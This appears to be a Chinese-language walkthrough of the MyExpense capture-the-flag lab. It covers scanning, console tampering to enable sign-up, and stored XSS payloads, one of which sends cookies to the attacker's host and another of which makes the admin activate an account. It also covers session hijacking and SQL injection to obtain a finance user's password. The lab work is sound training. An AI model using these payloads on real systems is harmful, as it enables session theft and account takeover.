攻击机: win10 192.168.192.129

靶机:MyExpense(我要报销)

靶机场景描述:

您是“塞缪尔·拉莫特”,刚刚被您的公司“Furtura Business Informatique”解雇。 不幸的是,由于您匆忙离开,您没有时间验证您上次商务旅行的费用报告,该报告仍相当于 750 欧元,相当于您最后一位客户的回程航班。

由于担心您的前雇主可能不想报销您的此费用报告,您决定侵入名为 “MyExpense” 的内部应用程序来管理员工费用报告。

所以你在车里,在公司停车场,并连接到内部 Wi-Fi(钥匙在你离开后仍未更换)。该应用程序受用户名/密码身份验证保护,您希望管理员尚未修改或删除您的访问权限。

您的凭据是:samuel/fzghn4lw

挑战完成后,该标志将在与您的 (samuel) 帐户连接时显示在应用程序上。

先扫描一下 ip 存活

1
nmap -sP 192.168.192.0/24

image-20250910152519151

靶机 ip:192.168.192.146

然后探测靶机开放的端口和服务

image-20250910153014795

开放了一个 80 端口,开启 apache 服务

访问该 ip 的 80 端口

image-20250910153132236

先进行目录扫描

image-20250910153655172

robots.txt 也是指向/admin/admin.php

于是访问/admin/admin.php

image-20250910154527938

我们的账户是 samuel/fzghn4lw,可以发现我们的账户是被 ban 了

所以我们下一步就是想办法激活自己的账户,要想激活自己的账户,可以拿到管理员账户来进行。

那么要想拿到管理员账户,就可以利用 XSS 漏洞拿到管理员账户的 cookie,然后利用 cookie 进行登录

我们先注册一个账户登录进去看看 aaa/hackerhacker

发现 sign up 按钮不能点击,于是 F12 打开控制台,修改一下

image-20250910154839673

然后就可以点击 sign up 了

登录后发现登陆不进去

image-20250910155118696

所以我们不能自己注册进入,那么可能需要用其他账户登录,爆破太困难,这个想法先保留

可以在登录口试试 sql 注入检测,检测后发现也没有 sql 注入漏洞

于是再换思路,既然我们的 username 等会显示在屏幕上,所以我们可以试试在注册时的 username 等会显示的地方插入 xss 语句

先在攻击机上开启 http,接收 xss

1
python -m http.server 8005
1
2
这里使用firstname处:
<script>document.write('<img src="http://192.168.192.129:8005/?'+document.cookie+'">')</script>

然后就能拿到一些 cookie,但是我这里一直收不到管理员的 cookie,但是能收到自己的 cookie,所以无法复现,接下来说思路,并配合大佬博客解释(Vulnhub-MyExpense: 1-Writeup(完)_vulhub 题 writeup-CSDN 博客

直接登录管理员 cookie 是不行的,然后将我们账号的 inactive 状态修改成 active,其中修改 cookie 为管理员 cookie

现在尝试使用管理员的 cookie:PHPSESSID = lq01sl79rjuqhfcgo9tsb3eek1,去激活 samuel 用户, 点击激活按钮,抓包修改 cookie。

在这里插入图片描述

发送,得到提示:作为一个管理员,在同一时间只能被认证一次,从这里可以看出,后台有脚本在跑这个页面,并且使用的管理员账号,从这里可以看出上面那个 cookie 是管理员 cookie。

在这里插入图片描述

既然我们不能使用 cookie 去激活那个账号,那我们就构造 xss 语句,让后台脚本自动访问该页面时,由管理员自己激活那个账号。点击那个激活按钮后看到提交参数 id = 11&status = active。所以构造 payload 如下:

1
<script>document.write('<img src="http://192.168.34.157/admin/admin.php?id=11&status=active"/>');</script>

点击提交

在这里插入图片描述

成功的变为了激活状态,思路没错。

在这里插入图片描述

所以我们可以登录自己帐号了

登录自己账号后有一个 message 留言板,也能显示留言

在这里插入图片描述

然后在留言板里构造 xss 的 payload,得到一些 cookie,其中就有经理的 cookie

登录到了经理的 cookie 后,就能看到我们的那个 750 的费用报告,点击同意

在这里插入图片描述

现在使用经理 cookie 登录到经理账号:Manon,访问导航栏的 Rennes 页面,此时看见提交参数为 id = 2.

在这里插入图片描述

然后在此处测试出来 sql 注入,拿到一个财务人员的 md5 密码,解码拿到密码,然后登录财务,通过请求

再重新用 slamotte 用户登录,看到 flag。

在这里插入图片描述